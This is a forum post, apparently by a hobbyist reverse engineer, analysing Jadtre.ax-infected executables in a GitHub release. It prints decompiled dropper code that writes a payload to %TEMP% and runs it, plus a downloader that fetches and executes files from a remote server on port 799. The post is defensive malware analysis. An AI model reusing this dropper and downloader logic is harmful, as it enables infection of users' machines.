您需要登录以继续操作
260

Cx2bro_code_Ver1.4.0GitHubRelease中包含被 Jadtre.ax 感染的可执行文件分析报告

该话题被推 逆向工程Jadtre.ax电脑病毒
浏览数 - 248 发布于 -

重新编辑于 -

火绒爆毒

检测截图请忽略前面的病毒报告

下的ctf-skill里头的装着一些CTF的代码的md

研究jpg释放exe的自己玩的小木马

被火绒直接扫到了里头无Jadtre.ax

第一个样本信息

分析对象:

text
CxdecDynamicHashCollector.exe

原始包中同名文件 SHA256:

text
B80948C1AAE775ACD3F549B180473333463DF14D22586C06AA46C921502BB9B0

火绒检测信息:

text
病毒名称:Virus/Jadtre.ax
病毒 ID:7BED125EA168C5EF
病毒路径:H:\病毒\CxdecDynamicHashCollector.exe

操作类型:修改
操作结果:已处理,清除恶意代码

二、初步结论

反汇编和伪 C 结果显示,样本中存在一段可疑的附加代码,位置在 0x45E000 附近。

这段代码首先构造出文件名 BUmTpj.exe,接着调用 GetTempPathA 获取系统临时目录,并拼接出如下路径:

text
%TEMP%\BUmTpj.exe

随后它使用 CreateFileA 创建该文件,并从自身内嵌区域写出 0x3E00 字节,最后调用 WinExec 执行该文件。

这条行为链符合文件感染 / 附加 dropper 的典型特征,也与 Virus/Jadtre.ax 的检测结论相吻合。

三、伪 C 代码证据

IDA 伪 C 中可以看到完整的释放和执行逻辑:

c
// CxdecDynamicHashCollector.exe.c:45769
int start()
{
    ...
    strcpy(v21, "BUmTpj.exe");          // 构造落地文件名

    ...
    strcpy((char *)v20, "Kernel32.dll"); // 手工加载 / 解析 Kernel32.dll

    ...
    v28(260, v19);                      // GetTempPathA,获取临时目录
    v30(v19, v21);                      // lstrcatA,拼接成 %TEMP%\BUmTpj.exe

    result = v32(
        v19,                            // 文件路径:%TEMP%\BUmTpj.exe
        -1073741824,                    // GENERIC_READ | GENERIC_WRITE
        0,
        0,
        2,                              // CREATE_ALWAYS
        128,                            // FILE_ATTRIBUTE_NORMAL
        0
    );                                  // CreateFileA,创建落地文件

    v16 = result;
    if (result != -1)
    {
        ...
        v31(
            v16,                        // 文件句柄
            v17,                        // 自身内嵌 PE 数据起始位置
            15872,                      // 写入长度:0x3E00
            v25,
            0
        );                              // WriteFile,从自身写出 payload

        v34(v16);                       // CloseHandle
        return v33(v19, 5);             // WinExec,执行 %TEMP%\BUmTpj.exe
    }

    return result;
}

对应关键行:

c
45817: strcpy(v21, "BUmTpj.exe");
45894: v28(260, v19);              // GetTempPathA
45895: v30(v19, v21);              // lstrcatA
45896: result = v32(...);          // CreateFileA
45908: v31(v16, v17, 15872, ...);  // WriteFile,0x3E00 字节
45910: v34(v16);                   // CloseHandle

初步结论:

该样本在 0x45E000 处存在额外 RWX 段。该段代码首先手工解析

Kernel32.dll 中的 GetTempPathA、CreateFileA、WriteFile、WinExec 等 API,然后构造文件名 BUmTpj.exe,获取临时目录并创建 %TEMP%\BUmTpj.exe

随后从自身内嵌 MZ/PE 数据区域写出 0x3E00 字节,最后调用 WinExec 执行该文件。

因此,这不是单个 API 调用导致的误报,而是一条完整的 payload 释放与执行链


如果是正常 hook 工具,常见逻辑应该是:

加载自己的 DLL

注入目标游戏进程

安装 hook

收集

输出结果


这更像感染器/dropper,而不是正常业务呀


问:ASPack壳会影响程序报毒吗?

答:ASPack 正常壳行为一般是,先解压自身代码到内存,修复导入表,跳转到原始入口点 OEP


结论:

ASPack会增加误报可能,因为Jadtre.ax这种病毒通常喜欢附加在原始exe中

但不能合理解释“落地并执行 BUmTpj.exe”这条完整释放链。但不影响目前对附加恶意逻辑的判断方向


继续干CxdecExtractorLoader.exe

可疑 RWX 段

javascript
120571: 00468000 ; Section 5. (virtual address 00068000)
120572: 00468000 ; Virtual size                  : 00005000 (  20480.)
120573: 00468000 ; Section size in file          : 00004200 (  16896.)
120574: 00468000 ; Offset to raw data for section: 00065800
120575: 00468000 ; Flags E0000020: Text Executable Readable Writable
120580: 00468000 ; Segment permissions: Read/Write/Execute
120591: 00468000                 public start
120592: 00468000 start           proc near

这说明 0x468000 处存在一个 RWX 段,并且 IDA 识别出了 start()

构造落地文件名 wVVYAP.exe

javascript
120626: 00468023                 mov     dword ptr [ebp+var_48], 59565677h
120627: 0046802A                 mov     dword ptr [ebp+var_48+4], 652E5041h
120628: 00468031                 mov     dword ptr [ebp+var_48+8], 6578h

按 x86 小端序还原

javascript
59565677h -> 77 56 56 59 -> wVVY
652E5041h -> 41 50 2E 65 -> AP.e
6578h     -> 78 65       -> xe

伪 C 也直接对应:47023: strcpy(v21, "wVVYAP.exe");

不废话了,还是一样的

落地并执行 payload

javascript
120792: 004681EE                 lea     eax, [ebp+var_16C]
120794: 004681F5                 push    104h
120795: 004681FA                 call    [ebp+var_20]        ; GetTempPathA

120796: 004681FD                 lea     eax, [ebp+var_48]
120800: 00468208                 call    [ebp+var_18]        ; lstrcatA

120807: 00468217                 push    0C0000000h
120810: 00468223                 call    [ebp+var_10]        ; CreateFileA

120831: 0046824B                 push    3E00h
120834: 00468252                 call    [ebp+var_14]        ; WriteFile

120837: 00468255                 push    esi
120838: 00468256                 call    [ebp+var_8]         ; CloseHandle

120839: 00468259                 push    5
120842: 00468262                 call    [ebp+var_C]         ; WinExec

伪 C 对应:

javascript
47100:   v28(260, v19);                         // GetTempPathA
47101:   v30(v19, v21);                         // lstrcatA
47102:   result = v32(v19, -1073741824, 0, 0, 2, 128, 0); // CreateFileA
47114:   v31(v16, v17, 15872, v25, 0);          // WriteFile,0x3E00
47116:   v34(v16);                              // CloseHandle
47117:   return v33(v19, 5);                    // WinExec

内嵌 PE 证据

javascript
120818: 00468232                 cmp     dword ptr ds:(locret_468269 - 468269h)[eax], 905A4Dh
120831: 0046824B                 push    3E00h
120857: 0046826C dword_46826C    dd 0E62E7C2Eh, 905A4D73h, 300h, 400h, 0FFFF00h, 0B800h
120870: 004682BD                 db 0CDh, 21h, 54h
120871: 004682C0 aHisProgramCann db 'his program cannot be run in DOS mode.',0Dh,0Dh,0Ah

虚拟机实测

环境网易UU虚拟机

典型的Jadtre.ax报错特征

temp目录生成了

wVVYAP与逆向出来的结果一致


image.png

并且附带在temp目录中遗留了一些未知文件???

原来是这个随机数函数创建的

javascript
953 int sub_40185B()
960   GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
962   srand(LOWORD(SystemTimeAsFileTime.dwLowDateTime));
964   v2 = rand() << 16;
965   srand(SystemTimeAsFileTime.dwLowDateTime & 0xFFFF0000);
966   return v2 | rand();

image.png
实锤,病毒感染了文件


感谢bfloat16 提供的脱去ASPack的xvlk.exe得到了

wVVYAP.unp.exe


那么我们继续滴干活

核心证据

是这个下载线程

javascript
531 DWORD __stdcall StartAddress(LPVOID lpThreadParameter)
...
545   lpString = (LPCSTR)dword_404748;
...
559   v1(CmdLine, aS8xExe, Buffer, v6);
560   v1(v8, aHttpSDSS, v2, dword_404948, dword_404708, lpString);
561   if ( j_URLDownloadToFileA(0, v8, CmdLine, 0, 0) )
562     break;
563   sub_401000(CmdLine);
564   WinExec(CmdLine, 5u);

asm如下

javascript
137 mov     ebx, offset aHttpSDSS ; "http://%s:%d/%s/%s"
167 push    offset aS8xExe        ; "%s%.8X.exe"
177 call    esi ; wsprintfA
187 call    j_URLDownloadToFileA
153 call    ds:WinExec
javascript
wsprintfA(CmdLine, "%s%.8X.exe", Buffer, sub_40185B());


他会构造 URL

http://%s:%d/%s/%s,然后把下载文件保存为随机8位.exe

所以这个就是我们见到的奇怪的exe


下载成功后执行:

javascript
150 push    5
152 push    eax             ; lpCmdLine
153 call    ds:WinExec


还有自删除脚本:

javascript
3665 aS8xBat db '%s%.8x.bat',0
3667 aDelfileDelSIfE db ':DELFILE',0Dh,0Ah
3668 db 'del "%s"',0Dh,0Ah
3669 db 'if exist "%s" goto :DELFILE',0Dh,0Ah
3670 db 'del "%s"',0Dh,0Ah,0

意思是生成 .bat,循环删除自身或指定文件


申请调试权限

javascript
238 call    ds:OpenProcessToken
254 call    ds:AdjustTokenPrivileges
3663 Name db 'SeDebugPrivilege',0


还会找 WinRAR:

javascript
1835   SHGetSpecialFolderPathA(0, pszPath, 38, 0);
1837   wsprintfA(ExistingFileName, "%s%s", pszPath, "\\WinRAR\\Rar.exe");
1840   result = CopyFileA(ExistingFileName, ::FileName, 0);

复制 WinRAR\Rar.exe 到临时随机 exe 名,做伪装或辅助传播

证据

javascript
560 v1(v8, aHttpSDSS, v2, dword_404948, dword_404708, lpString);
561 if ( j_URLDownloadToFileA(0, v8, CmdLine, 0, 0) )
...
564 WinExec(CmdLine, 5u);

目前能确定的下载 URL 结构是:

javascript
http://<server>:799/cj/k1.rar
http://<server>:799/cj/k2.rar
http://<server>:799/cj/k3.rar
http://<server>:799/cj/k4.rar
http://<server>:799/cj/k5.rar

其中

javascript
aHttpSDSS    = "http://%s:%d/%s/%s"
dword_404948 = 799
dword_404708 = "cj/"
dword_404748 = "k1.rar", "k2.rar", "k3.rar", "k4.rar", "k5.rar"

javascript
端口:799
路径:cj/
文件列表:
k1.rar
k2.rar
k3.rar
k4.rar
k5.rar

也就是说它会尝试从某个服务器的 799 端口下载 cj/ 目录下的这 5 个 rar 文件,下载到本地随机 .exe 后执行。

现在卡住的是 <server> 字段。对应的是解码后的 String 区域,当前不是普通 ASCII 域名,像是还有一层编码或是被当作 IP/表数据处理:

javascript
String 区域偏移:0x404688
调用位置:StartAddress 中 v2 = &String
URL 模板参数:%s

剩下的要动态分析了,静态我干不动了

至此也差不多证据也很充足了


奇怪的是一些云沙箱好像查不出来这个有问题的?

应该有反调反沙箱


带壳的程序不一定是病毒,也不否认任何人的劳动成果

仅客观网络安全分析这种病毒特性!


说实话

赛博花柳难防啊,这玩意小红车也有,galgame的exe都会被染上

无意间就会跑到你的exe上了,但已经不是原本的她了wwwwww

更像是赛博下蛋寄生体😳

本文版权遵循 CC BY-NC 协议 本站版权政策

1 条回复

aionfatedio
发布于 (编辑于 )

(。>︿<。) 已经一滴回复都不剩了哦~